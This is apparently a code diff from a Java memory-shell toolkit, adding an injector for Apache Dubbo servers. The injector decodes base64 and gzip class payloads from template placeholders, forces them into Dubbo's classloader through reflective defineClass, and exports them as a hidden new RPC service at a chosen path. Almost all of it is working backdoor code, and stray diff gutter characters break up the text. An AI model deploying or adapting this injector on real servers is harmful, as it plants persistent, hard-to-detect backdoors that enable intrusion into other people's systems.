ServiceConfig<?> serviceConfig = providerModel.getMetadata();
|
||||||
|
if (serviceConfig != null && normalizedPath.equals(normalizePath(serviceConfig.getPath()))) {
|
||||||
|
return serviceConfig;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
|
private ProviderConfig findProviderConfig() {
|
||||||
|
for (ProviderModel providerModel : providerModels()) {
|
||||||
|
ServiceConfig<?> serviceConfig = providerModel.getMetadata();
|
||||||
|
if (serviceConfig != null && serviceConfig.getProvider() != null) {
|
||||||
|
return serviceConfig.getProvider();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
|
private ApplicationConfig findApplicationConfig(ProviderConfig providerConfig) {
|
||||||
|
if (providerConfig != null && providerConfig.getApplication() != null) {
|
||||||
|
return providerConfig.getApplication();
|
||||||
|
}
|
||||||
|
|
||||||
|
for (ProviderModel providerModel : providerModels()) {
|
||||||
|
com.alibaba.dubbo.config.ServiceConfig<?> serviceConfig = providerModel.getMetadata();
|
||||||
|
if (serviceConfig == null) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
if (serviceConfig.getApplication() != null) {
|
||||||
|
return serviceConfig.getApplication();
|
||||||
|
}
|
||||||
|
if (serviceConfig.getProvider() != null && serviceConfig.getProvider().getApplication() != null) {
|
||||||
|
return serviceConfig.getProvider().getApplication();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
|
private List<ProtocolConfig> findProtocolConfigs(ProviderConfig providerConfig) {
|
||||||
|
List<ProtocolConfig> protocols = new ArrayList<ProtocolConfig>();
|
||||||
|
addProtocols(protocols, providerConfig == null ? null : providerConfig.getProtocols());
|
||||||
|
for (ProviderModel providerModel : providerModels()) {
|
||||||
|
ServiceConfig<?> serviceConfig = providerModel.getMetadata();
|
||||||
|
if (serviceConfig == null) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
addProtocols(protocols, serviceConfig.getProtocols());
|
||||||
|
addProtocols(protocols, serviceConfig.getProvider() == null ? null : serviceConfig.getProvider().getProtocols());
|
||||||
|
}
|
||||||
|
return uniqueProtocols(protocols);
|
||||||
|
}
|
||||||
|
|
||||||
|
private List<RegistryConfig> findRegistryConfigs(ProviderConfig providerConfig, ApplicationConfig applicationConfig) {
|
||||||
|
List<RegistryConfig> registries = registries(providerConfig == null ? null : providerConfig.getRegistries());
|
||||||
|
if (!registries.isEmpty()) {
|
||||||
|
return registries;
|
||||||
|
}
|
||||||
|
|
||||||
|
registries = registries(applicationConfig == null ? null : applicationConfig.getRegistries());
|
||||||
|
if (!registries.isEmpty()) {
|
||||||
|
return registries;
|
||||||
|
}
|
||||||
|
|
||||||
|
for (ProviderModel providerModel : providerModels()) {
|
||||||
|
ServiceConfig<?> serviceConfig = providerModel.getMetadata();
|
||||||
|
if (serviceConfig == null) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
registries = registries(serviceConfig.getRegistries());
|
||||||
|
if (!registries.isEmpty()) {
|
||||||
|
return registries;
|
||||||
|
}
|
||||||
|
|
||||||
|
ProviderConfig serviceProvider = serviceConfig.getProvider();
|
||||||
|
registries = registries(serviceProvider == null ? null : serviceProvider.getRegistries());
|
||||||
|
if (!registries.isEmpty()) {
|
||||||
|
return registries;
|
||||||
|
}
|
||||||
|
|
||||||
|
ApplicationConfig serviceApplication = serviceConfig.getApplication();
|
||||||
|
registries = registries(serviceApplication == null ? null : serviceApplication.getRegistries());
|
||||||
|
if (!registries.isEmpty()) {
|
||||||
|
return registries;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return new ArrayList<RegistryConfig>();
|
||||||
|
}
|
||||||
|
|
||||||
|
private String resolveServiceAddresses(String servicePath) {
|
||||||
|
String normalizedPath = normalizePath(servicePath);
|
||||||
|
ServiceConfig<?> serviceConfig = dynamicServices.get(normalizedPath);
|
||||||
|
if (serviceConfig == null) {
|
||||||
|
serviceConfig = findRegisteredService(normalizedPath);
|
||||||
|
}
|
||||||
|
if (serviceConfig == null) {
|
||||||
|
return normalizedPath;
|
||||||
|
}
|
||||||
|
|
||||||
|
List<URL> exportedUrls = serviceConfig.getExportedUrls();
|
||||||
|
if (exportedUrls != null && !exportedUrls.isEmpty()) {
|
||||||
|
return formatUrls(exportedUrls);
|
||||||
|
}
|
||||||
|
|
||||||
|
List<ProtocolConfig> protocols = uniqueProtocols(serviceConfig.getProtocols());
|
||||||
|
if (protocols.isEmpty() && serviceConfig.getProvider() != null) {
|
||||||
|
protocols = uniqueProtocols(serviceConfig.getProvider().getProtocols());
|
||||||
|
}
|
||||||
|
if (protocols.isEmpty()) {
|
||||||
|
return normalizedPath;
|
||||||
|
}
|
||||||
|
|
||||||
|
return formatProtocolAddresses(protocols, normalizedPath);
|
||||||
|
}
|
||||||
|
|
||||||
|
private String formatUrls(List<URL> urls) {
|
||||||
|
StringBuilder builder = new StringBuilder();
|
||||||
|
for (URL url : urls) {
|
||||||
|
if (builder.length() > 0) {
|
||||||
|
builder.append(", ");
|
||||||
|
}
|
||||||
|
builder.append(formatUrl(url));
|
||||||
|
}
|
||||||
|
return builder.toString();
|
||||||
|
}
|
||||||
|
|
||||||
|
private String formatProtocolAddresses(List<ProtocolConfig> protocols, String path) {
|
||||||
|
StringBuilder builder = new StringBuilder();
|
||||||
|
for (ProtocolConfig protocol : protocols) {
|
||||||
|
if (builder.length() > 0) {
|
||||||
|
builder.append(", ");
|
||||||
|
}
|
||||||
|
builder.append(formatProtocolAddress(protocol, path));
|
||||||
|
}
|
||||||
|
return builder.toString();
|
||||||
|
}
|
||||||
|
|
||||||
|
private String formatUrl(URL url) {
|
||||||
|
String path = normalizePath(url.getPath());
|
||||||
|
int port = url.getPort();
|
||||||
|
return port > 0
|
||||||
|
? String.format("%s://%s:%d/%s", url.getProtocol(), DISPLAY_HOST, port, path)
|
||||||
|
: String.format("%s://%s/%s", url.getProtocol(), DISPLAY_HOST, path);
|
||||||
|
}
|
||||||
|
|
||||||
|
private String formatProtocolAddress(ProtocolConfig protocol, String path) {
|
||||||
|
String protocolName = notEmpty(protocol.getName()) ? protocol.getName() : "dubbo";
|
||||||
|
Integer port = protocol.getPort();
|
||||||
|
return port != null && port > 0
|
||||||
|
? String.format("%s://%s:%d/%s", protocolName, DISPLAY_HOST, port, path)
|
||||||
|
: String.format("%s://%s/%s", protocolName, DISPLAY_HOST, path);
|
||||||
|
}
|
||||||
|
|
||||||
|
private List<ProviderModel> providerModels() {
|
||||||
|
try {
|
||||||
|
return ApplicationModel.allProviderModels();
|
||||||
|
} catch (Throwable ignored) {
|
||||||
|
return new ArrayList<ProviderModel>();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private void addProtocols(List<ProtocolConfig> target, List<ProtocolConfig> source) {
|
||||||
|
if (source != null) {
|
||||||
|
target.addAll(source);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private List<ProtocolConfig> uniqueProtocols(List<ProtocolConfig> protocols) {
|
||||||
|
Map<String, ProtocolConfig> unique = new LinkedHashMap<String, ProtocolConfig>();
|
||||||
|
if (protocols != null) {
|
||||||
|
for (ProtocolConfig protocol : protocols) {
|
||||||
|
if (protocol != null) {
|
||||||
|
unique.put(protocolKey(protocol), protocol);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return new ArrayList<ProtocolConfig>(unique.values());
|
||||||
|
}
|
||||||
|
|
||||||
|
private List<RegistryConfig> registries(List<RegistryConfig> registries) {
|
||||||
|
return registries == null ? new ArrayList<RegistryConfig>() : new ArrayList<RegistryConfig>(registries);
|
||||||
|
}
|
||||||
|
|
||||||
|
private String protocolKey(ProtocolConfig protocol) {
|
||||||
|
return String.valueOf(protocol.getName())
|
||||||
|
+ "|"
|
||||||
|
+ String.valueOf(protocol.getHost())
|
||||||
|
+ "|"
|
||||||
|
+ String.valueOf(protocol.getPort())
|
||||||
|
+ "|"
|
||||||
|
+ String.valueOf(protocol.getServer())
|
||||||
|
+ "|"
|
||||||
|
+ String.valueOf(protocol.getId());
|
||||||
|
}
|
||||||
|
|
||||||
|
private String normalizePath(String path) {
|
||||||
|
if (path == null) {
|
||||||
|
return "";
|
||||||
|
}
|
||||||
|
|
||||||
|
String normalized = path.trim();
|
||||||
|
while (normalized.startsWith("/")) {
|
||||||
|
normalized = normalized.substring(1);
|
||||||
|
}
|
||||||
|
return normalized;
|
||||||
|
}
|
||||||
|
|
||||||
|
private boolean notEmpty(String value) {
|
||||||
|
return value != null && !value.isEmpty();
|
||||||
|
}
|
||||||
|
|
||||||
|
private String stackTrace(Throwable throwable) {
|
||||||
|
StringWriter writer = new StringWriter();
|
||||||
|
throwable.printStackTrace(new PrintWriter(writer));
|
||||||
|
return writer.toString();
|
||||||
|
}
|
||||||
|
}
|
||||||
+616
@@ -0,0 +1,616 @@
|
|||||||
|
package com.reajason.javaweb.memshell.injector.dubbo;
|
||||||
|
|
||||||
|
import javassist.ClassPool;
|
||||||
|
import org.apache.dubbo.common.bytecode.ClassGenerator;
|
||||||
|
import org.apache.dubbo.config.*;
|
||||||
|
import org.apache.dubbo.rpc.model.ApplicationModel;
|
||||||
|
|
||||||
|
import java.io.*;
|
||||||
|
import java.lang.reflect.Constructor;
|
||||||
|
import java.lang.reflect.Field;
|
||||||
|
import java.lang.reflect.Method;
|
||||||
|
import java.lang.reflect.Modifier;
|
||||||
|
import java.security.ProtectionDomain;
|
||||||
|
import java.util.*;
|
||||||
|
import java.util.concurrent.ConcurrentHashMap;
|
||||||
|
import java.util.stream.Collectors;
|
||||||
|
import java.util.zip.GZIPInputStream;
|
||||||
|
|
||||||
|
public class ApacheDubboServiceInjector {
|
||||||
|
private final Map<String, ServiceConfig<?>> DYNAMIC_SERVICES = new ConcurrentHashMap<>();
|
||||||
|
private static final String DISPLAY_HOST = "x.x.x.x";
|
||||||
|
private static String msg = "";
|
||||||
|
private static boolean ok = false;
|
||||||
|
|
||||||
|
public String getUrlPattern() {
|
||||||
|
return "{{urlPattern}}";
|
||||||
|
}
|
||||||
|
|
||||||
|
public String getClassName() {
|
||||||
|
return "{{className}}";
|
||||||
|
}
|
||||||
|
|
||||||
|
public String getBase64String() {
|
||||||
|
return "{{base64Str}}";
|
||||||
|
}
|
||||||
|
|
||||||
|
public String getHelperBase64String() {
|
||||||
|
return "{{helperBase64String}}";
|
||||||
|
}
|
||||||
|
|
||||||
|
public ApacheDubboServiceInjector() {
|
||||||
|
if (ok) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
try {
|
||||||
|
msg += registerService();
|
||||||
|
} catch (Throwable e) {
|
||||||
|
msg += "unexcepted error: " + getErrorMessage(e);
|
||||||
|
}
|
||||||
|
ok = true;
|
||||||
|
System.out.println(msg);
|
||||||
|
}
|
||||||
|
|
||||||
|
private Class<?> loadClass(String payload) throws Exception {
|
||||||
|
ClassLoader classLoader = resolveDubboClassLoader();
|
||||||
|
byte[] classBytes = gzipDecompress(decodeBase64(payload));
|
||||||
|
definePackageIfNeeded(classLoader, getClassName());
|
||||||
|
Class<?> loadedClass = defineClass(classLoader, classBytes);
|
||||||
|
registerInJavassistClassPool(classLoader, loadedClass.getName(), classBytes);
|
||||||
|
msg += "[" + classLoader.getClass().getName() + "] ";
|
||||||
|
return loadedClass;
|
||||||
|
}
|
||||||
|
|
||||||
|
private ClassLoader resolveDubboClassLoader() {
|
||||||
|
ClassLoader classLoader = invokeDubboClassLoader("org.apache.dubbo.common.utils.ClassHelper");
|
||||||
|
if (classLoader != null) {
|
||||||
|
return classLoader;
|
||||||
|
}
|
||||||
|
classLoader = invokeDubboClassLoader("org.apache.dubbo.common.utils.ClassUtils");
|
||||||
|
if (classLoader != null) {
|
||||||
|
return classLoader;
|
||||||
|
}
|
||||||
|
classLoader = ClassGenerator.class.getClassLoader();
|
||||||
|
return classLoader != null ? classLoader : Thread.currentThread().getContextClassLoader();
|
||||||
|
}
|
||||||
|
|
||||||
|
private ClassLoader invokeDubboClassLoader(String className) {
|
||||||
|
try {
|
||||||
|
Class<?> helperClass = Class.forName(className);
|
||||||
|
return (ClassLoader) helperClass.getMethod("getClassLoader", Class.class).invoke(null, ClassGenerator.class);
|
||||||
|
} catch (Throwable ignored) {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private Class<?> defineClass(ClassLoader classLoader, byte[] classBytes) throws Exception {
|
||||||
|
ProtectionDomain protectionDomain = ClassGenerator.class.getProtectionDomain();
|
||||||
|
Method defineClass = ClassLoader.class.getDeclaredMethod(
|
||||||
|
"defineClass",
|
||||||
|
String.class,
|
||||||
|
byte[].class,
|
||||||
|
int.class,
|
||||||
|
int.class,
|
||||||
|
ProtectionDomain.class
|
||||||
|
);
|
||||||
|
defineClass.setAccessible(true);
|
||||||
|
return (Class<?>) defineClass.invoke(classLoader, null, classBytes, 0, classBytes.length, protectionDomain);
|
||||||
|
}
|
||||||
|
|
||||||
|
private void definePackageIfNeeded(ClassLoader classLoader, String className) {
|
||||||
|
int packageEnd = className.lastIndexOf('.');
|
||||||
|
if (packageEnd < 0) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
String packageName = className.substring(0, packageEnd);
|
||||||
|
try {
|
||||||
|
Method getPackage = ClassLoader.class.getDeclaredMethod("getPackage", String.class);
|
||||||
|
getPackage.setAccessible(true);
|
||||||
|
if (getPackage.invoke(classLoader, packageName) != null) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
Method definePackage = ClassLoader.class.getDeclaredMethod(
|
||||||
|
"definePackage",
|
||||||
|
String.class,
|
||||||
|
String.class,
|
||||||
|
String.class,
|
||||||
|
String.class,
|
||||||
|
String.class,
|
||||||
|
String.class,
|
||||||
|
String.class,
|
||||||
|
java.net.URL.class
|
||||||
|
);
|
||||||
|
definePackage.setAccessible(true);
|
||||||
|
definePackage.invoke(classLoader, packageName, null, null, null, null, null, null, null);
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public String toString() {
|
||||||
|
return msg;
|
||||||
|
}
|
||||||
|
|
||||||
|
private void registerInJavassistClassPool(ClassLoader classLoader, String className, byte[] classBytes) {
|
||||||
|
try {
|
||||||
|
ClassPool classPool = ClassGenerator.getClassPool(classLoader);
|
||||||
|
try {
|
||||||
|
classPool.getClass().getMethod("makeClassIfNew", InputStream.class).invoke(classPool, new ByteArrayInputStream(classBytes));
|
||||||
|
} catch (NoSuchMethodException e) {
|
||||||
|
classPool.getClass().getMethod("makeClass", InputStream.class).invoke(classPool, new ByteArrayInputStream(classBytes));
|
||||||
|
}
|
||||||
|
} catch (Throwable ignored) {
|
||||||
|
}
|
||||||
|
insertByteArrayClassPath(className, classLoader, classBytes);
|
||||||
|
}
|
||||||
|
|
||||||
|
private void insertByteArrayClassPath(String className, ClassLoader classLoader, byte[] classBytes) {
|
||||||
|
try {
|
||||||
|
Class<?> classPoolClass = Class.forName("javassist.ClassPool");
|
||||||
|
Class<?> classPathClass = Class.forName("javassist.ClassPath");
|
||||||
|
Class<?> byteArrayClassPathClass = Class.forName("javassist.ByteArrayClassPath");
|
||||||
|
insertClassPath(classPoolClass.getMethod("getDefault").invoke(null), classPoolClass, classPathClass, byteArrayClassPathClass, className, classBytes);
|
||||||
|
insertClassPath(ClassGenerator.getClassPool(classLoader), classPoolClass, classPathClass, byteArrayClassPathClass, className, classBytes);
|
||||||
|
} catch (Throwable ignored) {
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private void insertClassPath(Object classPool, Class<?> classPoolClass, Class<?> classPathClass, Class<?> byteArrayClassPathClass, String className, byte[] classBytes) throws Exception {
|
||||||
|
if (classPoolClass.getMethod("find", String.class).invoke(classPool, className) == null) {
|
||||||
|
classPoolClass.getMethod("insertClassPath", classPathClass).invoke(classPool, byteArrayClassPathClass.getConstructor(String.class, byte[].class).newInstance(className, classBytes));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public static byte[] decodeBase64(String str) throws Exception {
|
||||||
|
return Base64.getDecoder().decode(str);
|
||||||
|
}
|
||||||
|
|
||||||
|
public static byte[] gzipDecompress(byte[] bArr) throws IOException {
|
||||||
|
try (ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
|
||||||
|
GZIPInputStream gZIPInputStream = new GZIPInputStream(new ByteArrayInputStream(bArr))) {
|
||||||
|
byte[] bArr2 = new byte[4096];
|
||||||
|
int i;
|
||||||
|
while ((i = gZIPInputStream.read(bArr2)) > 0) {
|
||||||
|
byteArrayOutputStream.write(bArr2, 0, i);
|
||||||
|
}
|
||||||
|
return byteArrayOutputStream.toByteArray();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public String registerService() throws Exception {
|
||||||
|
String strNormalizePath = normalizePath(getUrlPattern());
|
||||||
|
if (strNormalizePath.isEmpty()) {
|
||||||
|
throw new IllegalArgumentException("path must not be empty");
|
||||||
|
}
|
||||||
|
if (!DYNAMIC_SERVICES.containsKey(strNormalizePath) && !isPathRegisteredInFramework(strNormalizePath)) {
|
||||||
|
Class<?> shell = loadClass(getHelperBase64String());
|
||||||
|
Class<?> shell2 = loadClass(getBase64String());
|
||||||
|
validateServiceTypes(shell, shell2);
|
||||||
|
ServiceConfig<?> serviceConfigCreateServiceConfig = createServiceConfig(strNormalizePath, shell, instantiate(shell2));
|
||||||
|
if (DYNAMIC_SERVICES.putIfAbsent(strNormalizePath, serviceConfigCreateServiceConfig) != null) {
|
||||||
|
return resolveServiceAddresses(strNormalizePath);
|
||||||
|
}
|
||||||
|
try {
|
||||||
|
serviceConfigCreateServiceConfig.export();
|
||||||
|
return resolveServiceAddresses(strNormalizePath);
|
||||||
|
} catch (RuntimeException e) {
|
||||||
|
DYNAMIC_SERVICES.remove(strNormalizePath, serviceConfigCreateServiceConfig);
|
||||||
|
throw e;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return resolveServiceAddresses(strNormalizePath);
|
||||||
|
}
|
||||||
|
|
||||||
|
private boolean isPathRegisteredInFramework(String str) {
|
||||||
|
try {
|
||||||
|
for (Object obj : getRegisteredServices()) {
|
||||||
|
if (str.equals(obj.getClass().getMethod("getPath").invoke(obj))) {
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return false;
|
||||||
|
} catch (Exception e) {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private Collection<?> getRegisteredServices() {
|
||||||
|
try {
|
||||||
|
Object configManager = resolveConfigManager();
|
||||||
|
return toList(invokeNoArgs(configManager, "getServices"));
|
||||||
|
} catch (Exception e) {
|
||||||
|
try {
|
||||||
|
Object objInvoke = ApplicationModel.class.getMethod("defaultModel").invoke(null);
|
||||||
|
Object objInvoke2 = objInvoke.getClass().getMethod("getDefaultModule").invoke(objInvoke);
|
||||||
|
Object objInvoke3 = objInvoke2.getClass().getMethod("getConfigManager").invoke(objInvoke2);
|
||||||
|
return toList(invokeNoArgs(objInvoke3, "getServices"));
|
||||||
|
} catch (Exception e2) {
|
||||||
|
return new ArrayList<>();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private String normalizePath(String str) {
|
||||||
|
if (str == null) {
|
||||||
|
return "";
|
||||||
|
}
|
||||||
|
String strTrim = str.trim();
|
||||||
|
while (true) {
|
||||||
|
String str2 = strTrim;
|
||||||
|
if (!str2.startsWith("/")) {
|
||||||
|
return str2;
|
||||||
|
}
|
||||||
|
strTrim = str2.substring(1);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private void validateServiceTypes(Class<?> cls, Class<?> cls2) {
|
||||||
|
if (!cls.isInterface()) {
|
||||||
|
throw new IllegalArgumentException("not an interface: " + cls.getName());
|
||||||
|
}
|
||||||
|
if (cls2.isInterface() || Modifier.isAbstract(cls2.getModifiers())) {
|
||||||
|
throw new IllegalArgumentException("implementation class is not instantiable: " + cls2.getName());
|
||||||
|
}
|
||||||
|
if (!cls.isAssignableFrom(cls2)) {
|
||||||
|
throw new IllegalArgumentException(cls2.getName() + " does not implement " + cls.getName());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private Object instantiate(Class<?> cls) {
|
||||||
|
try {
|
||||||
|
Constructor<?> declaredConstructor = cls.getDeclaredConstructor();
|
||||||
|
declaredConstructor.setAccessible(true);
|
||||||
|
return declaredConstructor.newInstance();
|
||||||
|
} catch (Exception e) {
|
||||||
|
throw new IllegalArgumentException("failed to instantiate " + cls.getName(), e);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private ServiceConfig<Object> createServiceConfig(String str, Class<?> cls, Object obj) {
|
||||||
|
Object configManager = resolveConfigManager();
|
||||||
|
ProviderConfig providerConfigResolveDefaultProvider = resolveDefaultProvider(configManager);
|
||||||
|
ProviderConfig providerConfigSanitizeProviderConfig = sanitizeProviderConfig(providerConfigResolveDefaultProvider);
|
||||||
|
ServiceConfig<Object> serviceConfig = new ServiceConfig<>();
|
||||||
|
serviceConfig.setInterface(cls);
|
||||||
|
serviceConfig.setRef(obj);
|
||||||
|
serviceConfig.setPath(str);
|
||||||
|
serviceConfig.setProxy("jdk");
|
||||||
|
if (providerConfigSanitizeProviderConfig != null) {
|
||||||
|
serviceConfig.setProvider(providerConfigSanitizeProviderConfig);
|
||||||
|
}
|
||||||
|
ApplicationConfig applicationConfig = castApplicationConfig(extractOptionalValue(invokeNoArgs(configManager, "getApplication")));
|
||||||
|
if (applicationConfig != null) {
|
||||||
|
serviceConfig.setApplication(applicationConfig);
|
||||||
|
}
|
||||||
|
String strResolveConfiguredVersion = resolveConfiguredVersion(providerConfigResolveDefaultProvider);
|
||||||
|
if (strResolveConfiguredVersion != null) {
|
||||||
|
serviceConfig.setVersion(strResolveConfiguredVersion);
|
||||||
|
}
|
||||||
|
serviceConfig.setProtocols(resolveConfiguredProtocols(providerConfigResolveDefaultProvider, configManager));
|
||||||
|
serviceConfig.setRegistries(resolveRegistriesForExport(castRegistries(toList(invokeNoArgs(configManager, "getDefaultRegistries"))), castRegistries(toList(invokeNoArgs(configManager, "getRegistries")))));
|
||||||
|
return serviceConfig;
|
||||||
|
}
|
||||||
|
|
||||||
|
private ProviderConfig resolveDefaultProvider(Object obj) {
|
||||||
|
ProviderConfig providerConfigCastProviderConfig = castProviderConfig(extractOptionalValue(invokeNoArgs(obj, "getDefaultProvider")));
|
||||||
|
if (providerConfigCastProviderConfig != null) {
|
||||||
|
return providerConfigCastProviderConfig;
|
||||||
|
}
|
||||||
|
Object objInvokeNoArgs = invokeNoArgs(obj, "getDefaultModule");
|
||||||
|
if (objInvokeNoArgs == null) {
|
||||||
|
objInvokeNoArgs = invokeNoArgs(invokeStaticNoArgs(ApplicationModel.class, "defaultModel"), "getDefaultModule");
|
||||||
|
}
|
||||||
|
Object objInvokeNoArgs2 = invokeNoArgs(objInvokeNoArgs, "getConfigManager");
|
||||||
|
ProviderConfig providerConfigCastProviderConfig2 = castProviderConfig(extractOptionalValue(invokeNoArgs(objInvokeNoArgs2, "getDefaultProvider")));
|
||||||
|
return providerConfigCastProviderConfig2 != null ? providerConfigCastProviderConfig2 : castProviderConfig(firstElement(toList(invokeNoArgs(objInvokeNoArgs2, "getProviders"))));
|
||||||
|
}
|
||||||
|
|
||||||
|
private ProviderConfig sanitizeProviderConfig(ProviderConfig providerConfig) {
|
||||||
|
if (providerConfig == null) {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
List registries = providerConfig.getRegistries();
|
||||||
|
if (registries == null || filterValidRegistries(registries).size() == registries.size()) {
|
||||||
|
return providerConfig;
|
||||||
|
}
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
|
private List<RegistryConfig> filterValidRegistries(Collection<RegistryConfig> collection) {
|
||||||
|
if (collection == null) {
|
||||||
|
return new ArrayList<>();
|
||||||
|
}
|
||||||
|
return collection.stream()
|
||||||
|
.filter(registryConfig -> registryConfig != null && registryConfig.isValid())
|
||||||
|
.collect(Collectors.toList());
|
||||||
|
}
|
||||||
|
|
||||||
|
private List<RegistryConfig> resolveRegistriesForExport(Collection<RegistryConfig> collection, Collection<RegistryConfig> collection2) {
|
||||||
|
List<RegistryConfig> listFilterValidRegistries = filterValidRegistries(collection);
|
||||||
|
if (!listFilterValidRegistries.isEmpty()) {
|
||||||
|
return listFilterValidRegistries;
|
||||||
|
}
|
||||||
|
List<RegistryConfig> listFilterValidRegistries2 = filterValidRegistries(collection2);
|
||||||
|
return !listFilterValidRegistries2.isEmpty() ? listFilterValidRegistries2 : Collections.singletonList(new RegistryConfig("N/A"));
|
||||||
|
}
|
||||||
|
|
||||||
|
private String resolveConfiguredVersion(Object obj) {
|
||||||
|
return stringValue(invokeNoArgs(obj, "getVersion"), null);
|
||||||
|
}
|
||||||
|
|
||||||
|
private List<ProtocolConfig> resolveConfiguredProtocols(ProviderConfig providerConfig, Object configManager) {
|
||||||
|
return resolveConfiguredProtocols(providerConfig, configManager, getRegisteredServices());
|
||||||
|
}
|
||||||
|
|
||||||
|
private List<ProtocolConfig> resolveConfiguredProtocols(ProviderConfig providerConfig, Object configManager, Collection<?> collection) {
|
||||||
|
return mergeProtocols(mergeProtocols(mergeProtocols(providerConfig == null ? null : providerConfig.getProtocols(), castProtocols(toList(invokeNoArgs(configManager, "getDefaultProtocols")))), castProtocols(toList(invokeNoArgs(configManager, "getProtocols")))), collectProtocolsFromServices(collection));
|
||||||
|
}
|
||||||
|
|
||||||
|
private List<ProtocolConfig> collectProtocolsFromServices(Collection<?> collection) {
|
||||||
|
List<ProtocolConfig> arrayList = new ArrayList<>();
|
||||||
|
if (collection != null) {
|
||||||
|
try {
|
||||||
|
for (Object service : collection) {
|
||||||
|
try {
|
||||||
|
arrayList.addAll(castProtocols(toList(invokeNoArgs(service, "getProtocols"))));
|
||||||
|
} catch (Exception e) {
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} catch (Exception e2) {
|
||||||
|
}
|
||||||
|
}
|
||||||
|
try {
|
||||||
|
for (Object exportedProvider : getExportedProviders()) {
|
||||||
|
try {
|
||||||
|
Object objInvokeNoArgs = invokeNoArgs(exportedProvider, "getServiceConfig");
|
||||||
|
if (objInvokeNoArgs != null) {
|
||||||
|
arrayList.addAll(castProtocols(toList(invokeNoArgs(objInvokeNoArgs, "getProtocols"))));
|
||||||
|
}
|
||||||
|
} catch (Exception e3) {
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} catch (Exception e4) {
|
||||||
|
}
|
||||||
|
return arrayList;
|
||||||
|
}
|
||||||
|
|
||||||
|
private Collection<?> getExportedProviders() {
|
||||||
|
try {
|
||||||
|
Object objInvoke = ApplicationModel.class.getMethod("getServiceRepository").invoke(null);
|
||||||
|
return (Collection) objInvoke.getClass().getMethod("getExportedServices").invoke(objInvoke);
|
||||||
|
} catch (Exception e) {
|
||||||
|
try {
|
||||||
|
Object objInvoke2 = ApplicationModel.class.getMethod("defaultModel").invoke(null);
|
||||||
|
Object objInvoke3 = objInvoke2.getClass().getMethod("getDefaultModule").invoke(objInvoke2);
|
||||||
|
Object objInvoke4 = objInvoke3.getClass().getMethod("getServiceRepository").invoke(objInvoke3);
|
||||||
|
return (Collection) objInvoke4.getClass().getMethod("getExportedServices").invoke(objInvoke4);
|
||||||
|
} catch (Exception e2) {
|
||||||
|
return new ArrayList<>();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private String resolveServiceAddresses(String str) {
|
||||||
|
String strNormalizePath = normalizePath(str);
|
||||||
|
Object objFindRegisteredService = DYNAMIC_SERVICES.get(strNormalizePath);
|
||||||
|
if (objFindRegisteredService == null) {
|
||||||
|
objFindRegisteredService = findRegisteredService(strNormalizePath);
|
||||||
|
}
|
||||||
|
if (objFindRegisteredService == null) {
|
||||||
|
return strNormalizePath;
|
||||||
|
}
|
||||||
|
List<?> listExtractExportedUrls = extractExportedUrls(objFindRegisteredService);
|
||||||
|
if (!listExtractExportedUrls.isEmpty()) {
|
||||||
|
return formatUrls(listExtractExportedUrls);
|
||||||
|
}
|
||||||
|
List<?> listResolveProtocols = resolveProtocols(objFindRegisteredService);
|
||||||
|
if (listResolveProtocols.isEmpty()) {
|
||||||
|
return strNormalizePath;
|
||||||
|
}
|
||||||
|
return formatProtocolAddresses(listResolveProtocols, strNormalizePath);
|
||||||
|
}
|
||||||
|
|
||||||
|
private Object findRegisteredService(String str) {
|
||||||
|
for (Object obj : getRegisteredServices()) {
|
||||||
|
if (str.equals(normalizePath(stringValue(invokeNoArgs(obj, "getPath"), "")))) {
|
||||||
|
return obj;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
|
private List<?> extractExportedUrls(Object obj) {
|
||||||
|
List<?> list = toList(invokeNoArgs(obj, "getExportedUrls"));
|
||||||
|
if (!list.isEmpty()) {
|
||||||
|
return list;
|
||||||
|
}
|
||||||
|
List<?> list2 = toList(getFieldValue(obj, "exporters"));
|
||||||
|
if (list2.isEmpty()) {
|
||||||
|
return new ArrayList<>();
|
||||||
|
}
|
||||||
|
List<Object> arrayList = new ArrayList<>();
|
||||||
|
for (Object exporter : list2) {
|
||||||
|
Object objInvokeNoArgs = invokeNoArgs(invokeNoArgs(exporter, "getInvoker"), "getUrl");
|
||||||
|
if (objInvokeNoArgs != null) {
|
||||||
|
arrayList.add(objInvokeNoArgs);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return arrayList;
|
||||||
|
}
